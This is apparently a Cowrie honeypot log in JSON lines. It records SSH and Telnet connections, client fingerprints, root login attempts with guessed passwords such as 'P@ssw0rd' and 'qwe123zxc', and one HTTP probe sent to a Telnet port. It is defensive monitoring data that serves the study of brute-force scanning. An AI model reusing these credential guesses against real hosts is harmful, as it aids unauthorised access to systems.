{"eventid":"cowrie.session.connect","src_ip":"49.51.241.230","src_port":46316,"dst_ip":"159.203.135.109","dst_port":22,"session":"f285ed89e1a7","protocol":"ssh","message":"New connection: 49.51.241.230:46316 (159.203.135.109:22) [session: f285ed89e1a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:47.513751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:47.519364Z","src_ip":"49.51.241.230","session":"f285ed89e1a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:47.587877Z","src_ip":"49.51.241.230","session":"f285ed89e1a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd","message":"login attempt [root/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:47.891188Z","src_ip":"49.51.241.230","session":"f285ed89e1a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:48.962871Z","src_ip":"49.51.241.230","session":"f285ed89e1a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53480,"dst_ip":"10.17.0.5","dst_port":23,"session":"0cb1c7a06915","protocol":"telnet","message":"New connection: 192.119.13.58:53480 (10.17.0.5:23) [session: 0cb1c7a06915]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:51.786207Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.225.56.202","src_port":60838,"dst_ip":"10.17.0.5","dst_port":22,"session":"124c26bcf9ff","protocol":"ssh","message":"New connection: 35.225.56.202:60838 (10.17.0.5:22) [session: 124c26bcf9ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:51.813466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:51.819019Z","src_ip":"35.225.56.202","session":"124c26bcf9ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:51.860324Z","src_ip":"35.225.56.202","session":"124c26bcf9ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@qaz","message":"login attempt [root/123@qaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:52.042322Z","src_ip":"35.225.56.202","session":"124c26bcf9ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:53.082546Z","src_ip":"35.225.56.202","session":"124c26bcf9ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59102,"dst_ip":"10.17.0.5","dst_port":23,"session":"54df3ce7b84b","protocol":"telnet","message":"New connection: 192.119.13.58:59102 (10.17.0.5:23) [session: 54df3ce7b84b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:53.239005Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60364,"dst_ip":"10.17.0.5","dst_port":23,"session":"eac7d723fb49","protocol":"telnet","message":"New connection: 192.119.13.58:60364 (10.17.0.5:23) [session: eac7d723fb49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:53.578116Z"}
{"eventid":"cowrie.session.closed","duration":48.6753306388855,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:54.028933Z","src_ip":"192.119.13.58","session":"1e1f9f864e6c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45392,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4c3b4efa8cd","protocol":"telnet","message":"New connection: 192.119.13.58:45392 (10.17.0.5:23) [session: a4c3b4efa8cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:56.736754Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.233.48.169","src_port":44858,"dst_ip":"10.17.0.5","dst_port":22,"session":"bedc1f1cc74d","protocol":"ssh","message":"New connection: 193.233.48.169:44858 (10.17.0.5:22) [session: bedc1f1cc74d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:56.742918Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:56.749910Z","src_ip":"193.233.48.169","session":"bedc1f1cc74d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:56.872670Z","src_ip":"193.233.48.169","session":"bedc1f1cc74d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2255","message":"login attempt [root/2255] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:57.396123Z","src_ip":"193.233.48.169","session":"bedc1f1cc74d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.250.59.1","src_port":44432,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7861d0cc07a","protocol":"telnet","message":"New connection: 47.250.59.1:44432 (10.17.0.5:23) [session: f7861d0cc07a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:57.456971Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:58.523159Z","src_ip":"193.233.48.169","session":"bedc1f1cc74d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56090,"dst_ip":"10.17.0.5","dst_port":23,"session":"346a02a3c309","protocol":"telnet","message":"New connection: 192.119.13.58:56090 (10.17.0.5:23) [session: 346a02a3c309]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:59.359289Z"}
{"eventid":"cowrie.session.closed","duration":40.54671502113342,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:00.292092Z","src_ip":"192.119.13.58","session":"d7a9ff54a80e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.250784397125244,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:00.707618Z","src_ip":"47.250.59.1","session":"f7861d0cc07a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42912,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a8ddf0e2e52","protocol":"telnet","message":"New connection: 192.119.13.58:42912 (10.17.0.5:23) [session: 3a8ddf0e2e52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:02.991757Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41746,"dst_ip":"10.17.0.5","dst_port":23,"session":"48db897ac222","protocol":"telnet","message":"New connection: 192.119.13.58:41746 (10.17.0.5:23) [session: 48db897ac222]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:03.731318Z"}
{"eventid":"cowrie.session.connect","src_ip":"92.207.4.157","src_port":60468,"dst_ip":"159.203.135.109","dst_port":22,"session":"490364bd7544","protocol":"ssh","message":"New connection: 92.207.4.157:60468 (159.203.135.109:22) [session: 490364bd7544]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:07.794208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:07.801999Z","src_ip":"92.207.4.157","session":"490364bd7544","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:07.922429Z","src_ip":"92.207.4.157","session":"490364bd7544","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.243.239.219","src_port":3072,"dst_ip":"10.17.0.5","dst_port":22,"session":"bea36c236779","protocol":"ssh","message":"New connection: 74.243.239.219:3072 (10.17.0.5:22) [session: bea36c236779]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:08.259001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:08.265065Z","src_ip":"74.243.239.219","session":"bea36c236779","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"speed666","message":"login attempt [root/speed666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:08.381816Z","src_ip":"92.207.4.157","session":"490364bd7544","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:08.435106Z","src_ip":"74.243.239.219","session":"bea36c236779","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123zxc","message":"login attempt [root/qwe123zxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:09.140282Z","src_ip":"74.243.239.219","session":"bea36c236779","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:09.494661Z","src_ip":"92.207.4.157","session":"490364bd7544","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42574,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6ea714504f1","protocol":"telnet","message":"New connection: 192.119.13.58:42574 (10.17.0.5:23) [session: e6ea714504f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:09.916637Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:10.310497Z","src_ip":"74.243.239.219","session":"bea36c236779","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.250.59.1","src_port":33630,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a486f7b6f05","protocol":"telnet","message":"New connection: 47.250.59.1:33630 (10.17.0.5:23) [session: 4a486f7b6f05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:10.943215Z"}
{"eventid":"cowrie.session.closed","duration":0.00611424446105957,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:10.949108Z","src_ip":"47.250.59.1","session":"4a486f7b6f05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48686,"dst_ip":"10.17.0.5","dst_port":23,"session":"8db3b7ac5db6","protocol":"telnet","message":"New connection: 192.119.13.58:48686 (10.17.0.5:23) [session: 8db3b7ac5db6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:11.470167Z"}
{"eventid":"cowrie.session.closed","duration":44.58442163467407,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:11.512711Z","src_ip":"192.119.13.58","session":"c7026780298f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.81704664230347,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:14.400707Z","src_ip":"192.119.13.58","session":"82fdc1fcb95a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.59698224067688,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:14.922417Z","src_ip":"192.119.13.58","session":"81a4f2736b9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47850,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc310977e0ec","protocol":"telnet","message":"New connection: 192.119.13.58:47850 (10.17.0.5:23) [session: cc310977e0ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:18.160401Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.250.59.1","src_port":39682,"dst_ip":"10.17.0.5","dst_port":23,"session":"1afe55167326","protocol":"telnet","message":"New connection: 47.250.59.1:39682 (10.17.0.5:23) [session: 1afe55167326]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:21.398582Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET / HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:21.404626Z","src_ip":"47.250.59.1","session":"1afe55167326","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: curl/7.64.1","password":"Accept: */*","message":"login attempt [User-Agent: curl/7.64.1/Accept: */*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:21.409508Z","src_ip":"47.250.59.1","session":"1afe55167326","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.000852108001709,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:24.399045Z","src_ip":"47.250.59.1","session":"1afe55167326","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52430,"dst_ip":"10.17.0.5","dst_port":23,"session":"12ae4b48f110","protocol":"telnet","message":"New connection: 192.119.13.58:52430 (10.17.0.5:23) [session: 12ae4b48f110]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:26.358979Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57204,"dst_ip":"10.17.0.5","dst_port":23,"session":"11373c8d4d82","protocol":"telnet","message":"New connection: 192.119.13.58:57204 (10.17.0.5:23) [session: 11373c8d4d82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:27.557146Z"}
{"eventid":"cowrie.session.closed","duration":36.75078868865967,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:28.536900Z","src_ip":"192.119.13.58","session":"0cb1c7a06915","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":37476,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a5252d2a3fb","protocol":"ssh","message":"New connection: 37.143.61.84:37476 (159.203.135.109:22) [session: 3a5252d2a3fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:32.978072Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:32.985932Z","src_ip":"37.143.61.84","session":"3a5252d2a3fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:55:33.188868Z","src_ip":"37.143.61.84","session":"3a5252d2a3fb","protocol":"ssh"}
